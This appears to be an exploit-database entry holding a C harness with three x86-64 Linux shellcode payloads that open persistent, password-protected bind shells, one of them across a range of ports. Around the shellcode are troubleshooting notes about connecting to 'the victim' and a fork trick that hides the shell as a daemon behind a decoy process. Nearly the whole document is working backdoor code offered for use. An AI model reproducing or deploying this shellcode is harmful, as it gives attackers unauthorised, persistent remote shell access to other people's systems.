Linux/x86-64 Socket Persistent Bind Shell + Port-Range (multi terminal)

#include <stdio.h>

#include <string.h>

//| Exploit Title: [Linux 64 Socket Persistent Bind Shell + Port-Range + password + daemon (83, 148, 177 bytes)]

//| Date: [7/15/2016]

//| Exploit Author: [CripSlick]

//| Tested on: [Kali 2.0 x86_x64]

//| Version: [No Program Version, Only Syscalls Used]

//| ShepherdDowling@gmail.com

//| OffSec ID: OS-20614

//| http://50.112.22.183/

//| https://www.exploit-db.com/author/?a=8654

//|=========================================================================================

//|=============== CripSlick's Persistent Bind-Shell with Port-Range + password ============

//|

//| CODE 3 Has everything to offer that CODE2 has and more. CODE2 has everything to offer

//| that CODE1 has and more. CODE1 is still great due to being a very short bind shell.

//| The point is that that there is really ONLY 1 shellcode here, it is just that CODE2 &

//| CODE1 have less features to cut down on byte count giving you more options.

//|

//| Troubleshooting:

//| 1. Problem: A lot of ports appeared on "nmap <IPv4> -p-" but not my port?

//| 1. Answer: This is common when you swap the high and low port

//|

//| 2. Problem: I disconnected and can't reconnect (even when I use the right password)

//| 2. Answer: This is common when re-executing the program (even after making changes)

//| Solve this by closing the terminal completly out, going to your directory

//| recompiling the program and then relaunching.

//|

//|                     If it is because you typed in the password wrong, wait about 60 seconds to

//|                             re-connect. No re-execution of the program is required to reconnect for

//| CODE2 & CODE3.

//|

//| 3. Problem: I DoS'd the victim

//| 3. Answer: This probably was because you set the port range too broad. A broad port range

//|                     takes a lot of CPU power. I suggest keeping it to how many terminals you need.

//|

//| Note: If you launch CODE2 and then launch CODE3, then CODE2 persistence will stop & vice versa

#define PORT "\x11\x5a" // FORWARD BYTE ORDER

#define PASSWORD "\x6c\x61\x20\x63\x72\x69\x70\x73" // FORWARD BYTE ORDER

//| PASSWORD = "la crips"

//| ONLY CODE3 DOES NOT USE "PORT"; IT USES "LOW_PORT" & "HIGH_PORT"

#define HIGH_PORT "\x5f\x11" // REVERSE BYTE ORDER

#define LOW_PORT "\x5b\x11" // REVERSE BYTE ORDER

//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!=======================

//| =========================================================================

//| CODE1 The short bind shell (83 bytes)

//| =========================================================================

//| This is the shortest bind-shell I could make. I leaned that mov byte takes

//| two bytes while Push+Pop takes 3 so I used more moves. Push+Pop is good if

//| you don't want to xor a register but your stack must be NULL on top.

//| This code only supports one terminal.

unsigned char CODE1[] = //replace CODE1 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

"\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x6a\x01\x5e\xb0\x29\x0f\x05\x48"

"\x97\x6a\x02\x66\xc7\x44\x24\x02"PORT"\x54\x5e\x52\xb2\x10\xb0\x31"

"\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x40\x88\xc7\x40\xb6\x03"

"\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xf6\x48\xf7\xe6\x50\x48\xbb"

"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!=======================

//| =========================================================================

//| CODE2 Persistent bind shell with a password (148 bytes)

//| =========================================================================

//| Supports re-connecting after a disconnect (close terminal and open up again)

//| If you type in a password wrong, wait 60 seconds to reconnect.

//| If you close the terminal after you enter the correct password, you can

//| immediatly reconnect.

//| This code only supports one terminal.

unsigned char CODE2[] = //replace CODE2 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

"\x48\x31\xff\x48\xf7\xe7\x48\x31\xf6\x6a\x39\x58\x0f\x05\x48\x31\xff"

"\x48\x39\xf8\x74\x79\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x6a\x01\x5e"

"\xb0\x29\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02"PORT"\x54\x5e"

"\x52\xb2\x10\xb0\x31\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x40"

"\x88\xc7\x40\xb6\x03\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x89\xc7\x48"

"\x89\xc6\x48\x8d\x74\x24\xf0\x6a\x10\x5a\x0f\x05\x48\xb8"PASSWORD""

"\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7"

"\xe6\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b"

"\x0f\x05\xe9\x6c\xff\xff\xff";

//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!=======================

//| =========================================================================

//| CODE3 Persistent bind shell with multi-port/terminal + password (177 bytes)

//| =========================================================================

//| This bind shell has everything COD2 has to offer + more while only 29 bytes more

//| You will get as many terminals on the victim as your PORT-RANGE minus 1

//| Your lowest port will NOT be open (so minus 1 port/terminal from your range)

//| Example: ports 4440-4445 = ports 4441-4445 usable = 5 terminals on victim

unsigned char CODE3[] = //replace CODE3 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

"\x48\x31\xf6\x56\x66\x68"HIGH_PORT"\x5b\x48\xff\xcb\x66\x81\xfb"LOW_PORT""

"\x75\x06\x50\x66\x68"HIGH_PORT"\x5b\x48\x31\xff\x48\xf7\xe7\xb0\x39\x0f"

"\x05\x48\x31\xff\x48\x39\xf8\x74\x7b\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02"

"\x6a\x01\x5e\xb0\x29\x0f\x05\x48\x97\x86\xdf\x6a\x02\x66\x89\x5c\x24\x02"

"\x86\xdf\x54\x5e\x52\xb2\x10\xb0\x31\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b"

"\x0f\x05\x40\x88\xc7\x40\xb6\x03\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x89"

"\xc7\x48\x89\xc6\x48\x8d\x74\x24\xf0\x6a\x10\x5a\x0f\x05\x48\xb8"PASSWORD""

"\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6"

"\x50\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x51\x54\x5f\xb0\x3b\x0f\x05"

"\x48\x31\xff\x48\xf7\xe7\xe9\x58\xff\xff\xff";

//|========================== VOID SHELLCODE ===========================

void SHELLCODE()

{

// This part floods the registers to make sure the shellcode will always run

__asm__("mov $0xAAAAAAAAAAAAAAAA, %rax\n\t"

"mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t"

"mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t"

"mov %rax, %r10\n\t" "mov %rax, %r11\n\t" "mov %rax, %r12\n\t"

"mov %rax, %r13\n\t" "mov %rax, %r14\n\t" "mov %rax, %r15\n\t"

"call CODE3"); //1st CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

}

//|========================== VOID printBytes ===========================

void printBytes()

{

printf("The CripSlick's code is %d Bytes Long\n",

strlen(CODE3)); //2nd CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

}

//|============================== Int main ================================

int main ()

{

// IMPORTANT> replace CODEX the "unsigned char" variable below

// > This needs to be done twice (for string count + code to use)

int pid = fork(); // fork start

if(pid == 0){ // pid always starts at 0

SHELLCODE(); // launch void SHELLCODE

// this is to represent a scenario where you bind to a good program

// you always want your shellcode to run first

}else if(pid > 0){ // pid will always be greater than 0 after the 1st process

// this argument will always be satisfied

printBytes(); // launch printBYTES

// pretend that this is the one the victim thinks he is only using

}

return 0; // satisfy int main

system("exit"); // keeps our shellcode a daemon

}

EKU-ID: 5703	CVE:	OSVDB-ID:
Author: CripSlick	Published: 2016-07-18	Verified:
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Linux/x86-64 Socket Persistent Bind Shell + Port-Range (multi terminal)

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